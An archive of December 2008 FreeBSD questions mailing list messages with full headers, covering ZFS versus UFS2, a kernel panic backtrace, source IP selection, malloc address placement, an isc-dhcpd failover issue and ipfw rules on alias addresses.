Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2954F106564A for ; Mon, 1 Dec 2008 19:45:04 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from ciao.gmane.org (main.gmane.org [80.91.229.2]) by mx1.freebsd.org (Postfix) with ESMTP id 9BE2B8FC14 for ; Mon, 1 Dec 2008 19:45:03 +0000 (UTC) (envelope-from freebsd-questions@m.gmane.org) Received: from list by ciao.gmane.org with local (Exim 4.43) id 1L7EhW-0003Ie-3S for freebsd-questions@freebsd.org; Mon, 01 Dec 2008 19:44:58 +0000 Received: from 78-1-141-143.adsl.net.t-com.hr ([78.1.141.143]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 01 Dec 2008 19:44:58 +0000 Received: from ivoras by 78-1-141-143.adsl.net.t-com.hr with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 01 Dec 2008 19:44:58 +0000 X-Injected-Via-Gmane: http://gmane.org/ To: freebsd-questions@freebsd.org From: Ivan Voras Date: Mon, 01 Dec 2008 20:44:46 +0100 Lines: 52 Message-ID: References: <200812010959.15647.kirk@strauser.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="------------enig7AFE3D8C26B61E0E7780C642" X-Complaints-To: usenet@ger.gmane.org X-Gmane-NNTP-Posting-Host: 78-1-141-143.adsl.net.t-com.hr User-Agent: Thunderbird 2.0.0.18 (Windows/20081105) In-Reply-To: <200812010959.15647.kirk@strauser.com> X-Enigmail-Version: 0.95.7 Sender: news Subject: Re: Disenchanted with ZFS; alternatives? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 19:45:04 -0000 This is an OpenPGP/MIME signed message (RFC 2440 and 3156) --------------enig7AFE3D8C26B61E0E7780C642 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Kirk Strauser wrote: > At this point, I'm almost ready to go back to good ol' UFS2, but I'd ha= te to=20 > give up that easy addition of new filesystems. I *could* have a single= 700GB=20 > root FS but that just doesn't seem right. Are there any good, tested G= EOM- > based ways of getting that functionality, perhaps along the lines of us= ing=20 > something like gvirstor and growfs as needed? There's nothing as convenient as ZFS (really... anywhere) :( . I'm still hoping someone will sponsor development or porting of a widely used journalling file system like XFS, JFS, even ext3/4 to FreeBSD, but in the meantime UFS2+SU isn't that bad. Practically the only way to break it is if you have hardware errors that end up corrupting file system data. The need to run full fsck occasionally (as opposed to the softupdates-assisted one) is annoying but 700 GB should be manageable with 3-4 GB of memory. The softupdates-assisted fsck actually works very well in all but the heaviest loads (i.e. when the server is swamped by requests immediately after booting). You could also try gjournal but benchmark and test it first for your workload. gvirstor is a theoretically good option if you need its specific functionality, only be doubly sure to benchmark it for your specific workload as it has some /unusual/ performance characteristics. --------------enig7AFE3D8C26B61E0E7780C642 Content-Type: application/pgp-signature; name="signature.asc" Content-Description: OpenPGP digital signature Content-Disposition: attachment; filename="signature.asc" -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (MingW32) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org iEYEARECAAYFAkk0Pq4ACgkQldnAQVacBcgs3ACgsarC1b6iw3VEwAkIIfMESyfK fngAn0+zMKciomB95cI8C8FxzmJN7v3U =qNR9 -----END PGP SIGNATURE----- --------------enig7AFE3D8C26B61E0E7780C642-- From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 20:34:15 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 03E95106570C for ; Mon, 1 Dec 2008 20:34:15 +0000 (UTC) (envelope-from kwoody@citytel.net) Received: from pop.citytel.net (pop.citytel.net [209.145.111.50]) by mx1.freebsd.org (Postfix) with ESMTP id D7B878FC1A for ; Mon, 1 Dec 2008 20:34:14 +0000 (UTC) (envelope-from kwoody@citytel.net) Received: from pop.citytel.net (pop.citytel.net [209.145.111.50]) by pop.citytel.net (Postfix) with ESMTP id 73A59208BA; Mon, 1 Dec 2008 12:34:14 -0800 (PST) Date: Mon, 1 Dec 2008 12:34:14 -0800 (PST) From: Keith To: Mel In-Reply-To: <200812012031.25424.fbsd.questions@rachie.is-a-geek.net> Message-ID: <20081201122714.D81770@pop.citytel.net> References: <20081201101311.C81770@pop.citytel.net> <200812012031.25424.fbsd.questions@rachie.is-a-geek.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Cc: freebsd-questions@freebsd.org Subject: Re: Page Fault. X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 20:34:15 -0000 On Mon, 1 Dec 2008, Mel wrote: |->On Monday 01 December 2008 19:32:59 Keith wrote: |->> |->> ====== |->> kernel trap 12 with interrupts disabled |->> |->> Fatal trap 12: page fault while in kernel mode |->> cpuid = 2; apic id = 02 |->> fault virtual address = 0x104 |->> fault code = supervisor read, page not present |->> instruction pointer = 0x20:0xc066ca51 |->> stack pointer = 0x28:0xe6ec0c90 |->> frame pointer = 0x28:0xe6ec0c9c |->> code segment = base 0x0, limit 0xfffff, type 0x1b |->> = DPL 0, pres 1, def32 1, gran 1 |->> processor eflags = resume, IOPL = 0 |->> current process = 9 (thread taskq) |->> trap number = 12 |->> panic: page fault |->> Uptime: 6d6h23m45s |->> #0 doadump () at pcpu.h:165 |->> 165 __asm __volatile("movl %%fs:0,%0" : "=r" (td)); |->> ============ |->> |->frame 0 useless. You need the frame after calltrap(). |->And: |-> |->> instruction pointer = 0x20:0xc066ca51 |->list *0xc066ca51 |-> |->Generally a bt will show the needed information. |->Likely cause: file system corruption, caused by background_fsck, but a |->backtrace should show more. Ok, so how does one fix corruption if that is the case? Here is a backtrace, but means nothing to me unfortunately. (kgdb) backtrace #0 doadump () at pcpu.h:165 #1 0xc067582a in boot (howto=260) at ../../../kern/kern_shutdown.c:409 #2 0xc0675b51 in panic (fmt=0xc08f090b "%s") at ../../../kern/kern_shutdown.c:565 #3 0xc0899f1c in trap_fatal (frame=0xe6ec0c50, eva=260) at ../../../i386/i386/trap.c:837 #4 0xc089968e in trap (frame={tf_fs = 8, tf_es = -920256472, tf_ds = -420741080, tf_edi = -936184704, tf_esi = 4, tf_ebp = -420737892, tf_isp = -420737924, tf_ebx = -920236452, tf_edx = 6, tf_ecx = -936306488, tf_eax = 1, tf_trapno = 12, tf_err = 0, tf_eip = -1067005359, tf_cs = 32, tf_eflags = 65538, tf_esp = -930065784, tf_ss = 4}) at ../../../i386/i386/trap.c:270 #5 0xc08859ca in calltrap () at ../../../i386/i386/exception.s:139 #6 0xc066ca51 in _mtx_lock_sleep (m=0xc9264e5c, tid=3358782592, opts=0, file=0x0, line=0) at ../../../kern/kern_mutex.c:546 #7 0xc06bbdb6 in unp_gc (arg=0x0, pending=1) at ../../../kern/uipc_usrreq.c:1714 #8 0xc06964d3 in taskqueue_run (queue=0xc843fa80) at ../../../kern/subr_taskqueue.c:257 #9 0xc06969b6 in taskqueue_thread_loop (arg=0x1) at ../../../kern/subr_taskqueue.c:376 #10 0xc065ef6d in fork_exit (callout=0xc0696924 , arg=0xc09f1d28, frame=0xe6ec0d38) at ../../../kern/kern_fork.c:821 #11 0xc0885a2c in fork_trampoline () at ../../../i386/i386/exception.s:208 From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 20:43:21 2008 Return-Path: Delivered-To: freebsd-questions@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 5EAC7106564A for ; Mon, 1 Dec 2008 20:43:21 +0000 (UTC) (envelope-from oim37@mail.ru) Received: from mx45.mail.ru (mx45.mail.ru [194.67.23.236]) by mx1.freebsd.org (Postfix) with ESMTP id 151438FC18 for ; Mon, 1 Dec 2008 20:43:21 +0000 (UTC) (envelope-from oim37@mail.ru) Received: from f225.mail.ru (f225.mail.ru [194.186.55.103]) by mx45.mail.ru (mPOP.Fallback_MX) with ESMTP id 92E76E003DF3 for ; Mon, 1 Dec 2008 23:26:45 +0300 (MSK) Received: from mail by f225.mail.ru with local id 1L7FLv-00010N-00 for freebsd-questions@FreeBSD.org; Mon, 01 Dec 2008 23:26:43 +0300 Received: from [91.192.241.74] by win.mail.ru with HTTP; Mon, 01 Dec 2008 23:26:43 +0300 From: oim To: freebsd-questions@FreeBSD.org Mime-Version: 1.0 X-Mailer: mPOP Web-Mail 2.19 X-Originating-IP: [91.192.241.74] Date: Mon, 01 Dec 2008 23:26:43 +0300 Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 8bit Message-Id: X-Spam: Not detected X-Mras: OK Cc: Subject: how to choose default ip on ethernet interface X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: oim List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 20:43:21 -0000 Hello! OS: FreeBSD 6.3 R ifconfig bge0: flags=8843 mtu 1500 options=1b inet 192.168.0.70 netmask 0xfffffe00 broadcast 192.168.0.255 inet 10.10.10.37 netmask 0xfffffffc broadcast 10.10.10.39 inet 10.10.10.38 netmask 0xfffffffc broadcast 10.10.10.39 ether 00:21:5a:d4:fd:ba media: Ethernet autoselect (100baseTX ) status: active lo0: flags=8049 mtu 16384 inet6 fe80::1%lo0 prefixlen 64 scopeid 0x3 inet6 ::1 prefixlen 128 inet 127.0.0.1 netmask 0xff000000 defaultrouter="192.168.0.1" All ip work, but by default outgoing system use 192.168.0.70 How can i make by default this ip 10.10.10.37 ? Please... Thanks, With best regards Evgeny Parkhomenko oim37@mail.ru From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 21:11:08 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E83BF1065672 for ; Mon, 1 Dec 2008 21:11:08 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 0A1FC8FC0C for ; Mon, 1 Dec 2008 21:11:07 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB1LAwZO011647; Mon, 1 Dec 2008 22:10:58 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB1LAvcE011644; Mon, 1 Dec 2008 22:10:58 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Mon, 1 Dec 2008 22:10:57 +0100 (CET) From: Wojciech Puchar To: oim In-Reply-To: Message-ID: <20081201220946.D11643@wojtek.tensor.gdynia.pl> References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-questions@freebsd.org Subject: Re: how to choose default ip on ethernet interface X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 21:11:09 -0000 > inet 127.0.0.1 netmask 0xff000000 > defaultrouter="192.168.0.1" > > All ip work, but by default outgoing system use 192.168.0.70 outgoing IP is chosen so it's on the same network as default router, if many are - first from list. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 21:26:15 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4B0521065670 for ; Mon, 1 Dec 2008 21:26:15 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 6970A8FC0A for ; Mon, 1 Dec 2008 21:26:14 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB1LQ6UO011697; Mon, 1 Dec 2008 22:26:06 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB1LQ5WH011694; Mon, 1 Dec 2008 22:26:06 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Mon, 1 Dec 2008 22:26:04 +0100 (CET) From: Wojciech Puchar To: Kirk Strauser In-Reply-To: <200812011321.43430.kirk@strauser.com> Message-ID: <20081201222221.L11692@wojtek.tensor.gdynia.pl> References: <200812010959.15647.kirk@strauser.com> <20081201184722.S10680@wojtek.tensor.gdynia.pl> <200812011321.43430.kirk@strauser.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-questions@freebsd.org Subject: Re: Disenchanted with ZFS; alternatives? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 21:26:15 -0000 > >> UFS is excellent. your problem is that you like to have "lots of >> filesystems". why don't just make one or one per disk? > > For all the usual reasons: faster fsck, ability to set attributes on each > filesystem (noexec, noatime, ro), a runaway process writing to /tmp won't cause > problems in /var, etc. i don't have such problems, ordinary users have quotas... (one as there's one filesystem). > A big local reason is that Amanda is much easier to configure when you're using > a bunch of filesystems because it runs tar with --one-file-system set. If /var > is separate from / and I want to back them up separately, I just tell Amanda > to dump / and /var. If /var is part of / then I have to say "dump / except > for /var (and /tmp and /usr and ...)". what i problem to do this? >> tell me what's your needs and how many/what disks you have. > > Right now I have a 750GB (with another on order) and a 320GB. The box is a > multi-purpose home server with mail, several websites, and a bunch of local > file streaming (from MP3 and ripped DVDs to Apple's Time Machine storage). so make system and userdata except huge files on 320GB, and make gstripe of 750GB disks to store huge files. two filesystems. > >> UFS is best-performer on real load, runs on almost no RAM, but uses more >> if available for caching. > > That's my main beef with ZFS at the moment. I don't mind if it uses a lot of > RAM - that's what I bought it for! - but that it doesn't seem to use it > effectively (at least on my workload). it simply wastes RAM and CPU power. same thing takes 10-20 times more CPU that with UFS, where CPU load is close to unnoticable. even if it has some features you may consider nice, it's not worth using bloatware. Bloatware should be ALWAYS avoided no matter how fast your hardware is and how much RAM do you have. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 21:28:50 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 94B711065672 for ; Mon, 1 Dec 2008 21:28:50 +0000 (UTC) (envelope-from yuri@rawbw.com) Received: from shell.rawbw.com (shell.rawbw.com [198.144.192.42]) by mx1.freebsd.org (Postfix) with ESMTP id 6A3238FC0A for ; Mon, 1 Dec 2008 21:28:50 +0000 (UTC) (envelope-from yuri@rawbw.com) Received: from eagle.syrec.org (c-67-188-126-36.hsd1.ca.comcast.net [67.188.126.36]) (authenticated bits=0) by shell.rawbw.com (8.13.6/8.13.6) with ESMTP id mB1LSn6h015389 for ; Mon, 1 Dec 2008 13:28:49 -0800 (PST) Message-ID: <49345710.9070403@rawbw.com> Date: Mon, 01 Dec 2008 13:28:48 -0800 From: Yuri User-Agent: Thunderbird 2.0.0.18 (X11/20081127) MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Why process memory starts so high up in virtual space with FreeBSD malloc? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: yuri@rawbw.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 21:28:50 -0000 I am compiling the following program: #include main() { printf("0x%x\n", malloc(1)); } in 32-bit 7.1-PRERELEASE and get 0x28201100 which is ~673MB of 4GB address space or 16%. When I run the same program with the google malloc (from devel/google-perftools) I get much lower value 0x80aa0e8 which is ~135MB of 4GB address space or ~3%. Why FreeBSD memory allocator wastes such a high percentage of the memory space? Yuri From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 21:49:58 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4DD2D1065676 for ; Mon, 1 Dec 2008 21:49:58 +0000 (UTC) (envelope-from dick@nagual.nl) Received: from nagual.nl (cc20684-a.assen1.dr.home.nl [82.74.10.158]) by mx1.freebsd.org (Postfix) with ESMTP id DC1098FC14 for ; Mon, 1 Dec 2008 21:49:57 +0000 (UTC) (envelope-from dick@nagual.nl) Received: from westmark (westmark.nagual.nl [192.168.11.22]) by nagual.nl (8.13.8+Sun/8.13.8/yanta) with SMTP id mB1LpN9q009143 for ; Mon, 1 Dec 2008 22:51:23 +0100 (CET) Date: Mon, 1 Dec 2008 22:49:51 +0100 From: dick hoogendijk To: freebsd-questions@freebsd.org Message-Id: <20081201224951.da6b6c53.dick@nagual.nl> In-Reply-To: <20081201222221.L11692@wojtek.tensor.gdynia.pl> References: <200812010959.15647.kirk@strauser.com> <20081201184722.S10680@wojtek.tensor.gdynia.pl> <200812011321.43430.kirk@strauser.com> <20081201222221.L11692@wojtek.tensor.gdynia.pl> Organization: de nagual X-Mailer: Sylpheed 2.5.0 (GTK+ 2.14.3; i386-pc-solaris2.11) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.63 on 192.168.11.35 Subject: Re: Disenchanted with ZFS; alternatives? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 21:49:58 -0000 On Mon, 1 Dec 2008 22:26:04 +0100 (CET) Wojciech Puchar wrote: > it simply wastes RAM and CPU power. same thing takes 10-20 times more > CPU that with UFS ZFS does things that UFS is not capable of. These (bloathware) things cost memory indeed. But that memory is certainly not wasted. I also know you cannot be convinced, because you lowe ZFS. > even if it has some features you may consider nice, it's not worth > using bloatware. > > Bloatware should be ALWAYS avoided no matter how fast your hardware > is and how much RAM do you have. True, except ZFS is a big winner and no bloatware. And although you are pretty stubborn in this matter, I still say this ;-) ZFS is here to stay. Given the fact it's not quite mature (yet); it is still under heavy development, but it is also stable enough for rock solid Solaris 10 servers with ZFS. (and NO, this is not all on Sun hardware). I for one will never go back to filesystems like UFS/UFS2. My data is quite safe on ZFS; my systems are fast; backups are a snap with snapshots; the list of PROs is long, very long (and all this for a still young filesystem...) -- Dick Hoogendijk -- PGP/GnuPG key: 01D2433D + http://nagual.nl/ | SunOS sxce snv103 ++ + All that's really worth doing is what we do for others (Lewis Carrol) From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 22:09:27 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 8ECF51065672 for ; Mon, 1 Dec 2008 22:09:27 +0000 (UTC) (envelope-from 240olofsson@telia.com) Received: from av7-1-sn3.vrr.skanova.net (av7-1-sn3.vrr.skanova.net [81.228.9.181]) by mx1.freebsd.org (Postfix) with ESMTP id 527548FC0A for ; Mon, 1 Dec 2008 22:09:27 +0000 (UTC) (envelope-from 240olofsson@telia.com) Received: by av7-1-sn3.vrr.skanova.net (Postfix, from userid 502) id EFFC93810B; Mon, 1 Dec 2008 23:09:25 +0100 (CET) Received: from smtp3-1-sn3.vrr.skanova.net (smtp3-1-sn3.vrr.skanova.net [81.228.9.101]) by av7-1-sn3.vrr.skanova.net (Postfix) with ESMTP id CAABF380D9 for ; Mon, 1 Dec 2008 23:09:25 +0100 (CET) Received: from [192.168.1.31] (90-230-141-139-no41.tbcn.telia.com [90.230.141.139]) by smtp3-1-sn3.vrr.skanova.net (Postfix) with ESMTP id 9829237E45 for ; Mon, 1 Dec 2008 23:09:25 +0100 (CET) Message-ID: <4934608D.3000503@telia.com> Date: Mon, 01 Dec 2008 23:09:17 +0100 From: Roger Olofsson <240olofsson@telia.com> User-Agent: Thunderbird 2.0.0.18 (Windows/20081105) MIME-Version: 1.0 To: User Questions Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: please confirm - possible bug in isc-dhcpd? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: raggen@raggens.net List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 22:09:27 -0000 Dear mailing list, 7.1-PRERELEASE isc-dhcp30-server-3.0.7_3 When configuring failover and using FQDN instead of ip address, isc-dhcpd says failover peer can't find address. It does however start and will not, of course, work properly. The behaviour is that the very first client might get address but none after that one - causing alot of confusion. The workaround - use ip addresses in dhcpd.conf when configuring failover peer. Can anyone confirm this behaviour? Is it a bug? The man page shows an example where FQDNs are being used.... If it is a bug, where do I report it? Greetings /Roger From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 22:14:14 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 3DFC51065672 for ; Mon, 1 Dec 2008 22:14:14 +0000 (UTC) (envelope-from brett@net24.co.nz) Received: from omr2.mail.isx.net.nz (omr2.mail.isx.net.nz [210.5.49.99]) by mx1.freebsd.org (Postfix) with ESMTP id D88A18FC14 for ; Mon, 1 Dec 2008 22:14:13 +0000 (UTC) (envelope-from brett@net24.co.nz) Received: from 210.55.30.56 (EHLO _127.0.0.1_) ([210.55.30.56]) by omr2.mail.isx.net.nz (MOS 3.8.3-GA FastPath) with ESMTP id AAR92971 (AUTH brett@net24.co.nz); Tue, 02 Dec 2008 11:14:12 +1300 (NZDT) Message-ID: <493461B5.1040704@net24.co.nz> Date: Tue, 02 Dec 2008 11:14:13 +1300 From: Brett Davidson Organization: Net24 Limited User-Agent: Thunderbird 2.0.0.18 (Windows/20081105) MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <20081201120023.9E1821065688@hub.freebsd.org> <20081201233222.L34249@sola.nimnet.asn.au> In-Reply-To: <20081201233222.L34249@sola.nimnet.asn.au> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Subject: Re: Is there anything weird I should know about using ipfw on alias addresses? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 22:14:14 -0000 Ian Smith wrote: > On Mon, 01 Dec 2008 16:52:12 +1300 Brett Davidson wrote: > > > ifconfig shows the alias addresses correctly bound. > > Creating an ipfw rule and testing it from the command line works > > (connects out from master address, not alias) > > > > From website on alias address, the firewall blocks the packets. > > > > The weird thing is that it tags them (in the security log) as coming > > from the master address (not the alias) out the correct interface. In a > > normal world that would mean the packet would match!!!!! > > > > What's goin' on here Willis? > > Difficult to tell without seeing a) ifconfig b) netstat -rn c) at least > the relevant firewall rule/s and d) log entries that illustrate your > problem. Obscure sensitive information by all means, but otherwise > pretend we haven't the slightest clue how your system is configured :) > > cheers, Ian > > > Fair enough. ifconfig below: bce1: flags=8843 mtu 1500 options=3b inet 210.5.50.5 netmask 0xffffffe0 broadcast 210.5.50.31 inet 210.5.51.32 netmask 0xffffffff broadcast 210.5.51.32 inet 210.5.51.27 netmask 0xffffffff broadcast 210.5.51.27 inet 210.5.51.33 netmask 0xffffffff broadcast 210.5.51.33 inet 210.5.51.34 netmask 0xffffffff broadcast 210.5.51.34 inet 210.5.51.42 netmask 0xffffffff broadcast 210.5.51.42 inet 210.5.51.4 netmask 0xffffffff broadcast 210.5.51.4 ether 00:1c:c4:c0:56:94 media: Ethernet autoselect (1000baseSX ) status: active Relevant /etc/rc.conf entries : ifconfig_bce1="inet 210.5.50.5 netmask 255.255.255.224" ifconfig_bce1_alias0="inet 210.5.50.5 netmask 255.255.255.224" ifconfig_bce1_alias1="inet 210.5.51.4 netmask 255.255.255.255" ifconfig_bce1_alias2="inet 210.5.51.27 netmask 255.255.255.255" ifconfig_bce1_alias3="inet 210.5.51.32 netmask 255.255.255.255" ifconfig_bce1_alias4="inet 210.5.51.33 netmask 255.255.255.255" ifconfig_bce1_alias5="inet 210.5.51.34 netmask 255.255.255.255" ifconfig_bce1_alias6="inet 210.5.51.42 netmask 255.255.255.255" Relevant ipfw rules : ipfw -q add 02012 allow tcp from any to 208.69.123.164 80 out via bce1 setup keep-state ipfw -q add 02012 allow tcp from any to 208.69.123.164 443 out via bce1 setup keep-state Interesting entries in /var/log/security : Dec 1 16:42:25 kernel: ipfw: 9999 Deny TCP 210.5.50.5:49708 208.69.123.164:80 out via bce1 What makes this interesting is that I can connect to that port via the command line. It's the website that lives on 210.5.51.42 that is having problems. Why, if the rule is valid enough for the command line is it having problems from an aliased address? This MUST have something to do with the way ipfw is working with aliased addresses but I'm blowed if I know what is wrong. Cheers Brett. From owner-freebsd-questions@FreeBSD.ORG Mon Dec 1 22:43:40 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 013141065675 for ; Mon, 1 Dec 2008 22:43:40 +0000 (UTC) (envelope-from keramida@ceid.upatras.gr) Received: from igloo.linux.gr (igloo.linux.gr [62.1.205.36]) by mx1.freebsd.org (Postfix) with ESMTP id 5CC888FC12 for ; Mon, 1 Dec 2008 22:43:38 +0000 (UTC) (envelope-from keramida@ceid.upatras.gr) Received: from kobe.laptop (adsl144-35.kln.forthnet.gr [195.74.243.35]) (authenticated bits=128) by igloo.linux.gr (8.14.3/8.14.3/Debian-5) with ESMTP id mB1MhSU1031739 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Tue, 2 Dec 2008 00:43:35 +0200 Received: from kobe.laptop (kobe.laptop [127.0.0.1]) by kobe.laptop (8.14.3/8.14.3) with ESMTP id mB1MhSlP003802; Tue, 2 Dec 2008 00:43:28 +0200 (EET) (envelope-from keramida@ceid.upatras.gr) Received: (from keramida@localhost) by kobe.laptop (8.14.3/8.14.3/Submit) id mB1MhRvU003801; Tue, 2 Dec 2008 00:43:27 +0200 (EET) (envelope-from keramida@ceid.upatras.gr) From: Giorgos Keramidas To: yuri@rawbw.com References: <49345710.9070403@rawbw.com> Date: Tue, 02 Dec 2008 00:43:26 +0200 In-Reply-To: <49345710.9070403@rawbw.com> (yuri@rawbw.com's message of "Mon, 01 Dec 2008 13:28:48 -0800") Message-ID: <874p1njz3l.fsf@kobe.laptop> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/23.0.60 (berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-MailScanner-ID: mB1MhSU1031739 X-Hellug-MailScanner: Found to be clean X-Hellug-MailScanner-SpamCheck: not spam, SpamAssassin (not cached, score=-3.834, required 5, autolearn=not spam, ALL_TRUSTED -1.80, AWL 0.56, BAYES_00 -2.60) X-Hellug-MailScanner-From: keramida@ceid.upatras.gr X-Spam-Status: No Cc: freebsd-questions@freebsd.org Subject: Re: Why process memory starts so high up in virtual space with FreeBSD malloc? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 01 Dec 2008 22:43:40 -0000 On Mon, 01 Dec 2008 13:28:48 -0800, Yuri wrote: > I am compiling the following program: > > #include > main() { printf("0x%x\n", malloc(1)); } You should probably use printf("%p", ptr) to print pointers :) > in 32-bit 7.1-PRERELEASE and get 0x28201100 which is ~673MB of 4GB > address space or 16%. > > When I run the same program with the google malloc (from > devel/google-perftools) > I get much lower value 0x80aa0e8 which is ~135MB of 4GB address space or > ~3%. > > Why FreeBSD memory allocator wastes such a high percentage of the > memory space? The FreeBSD malloc(3) implementation can use either mmap() or sbrk() to obtain memory from the system. It does not 'waste a high percentage of memory' but it simply maps only high addresses (with an unmapped 'hole' in lower addresses). You can tune FreeBSD 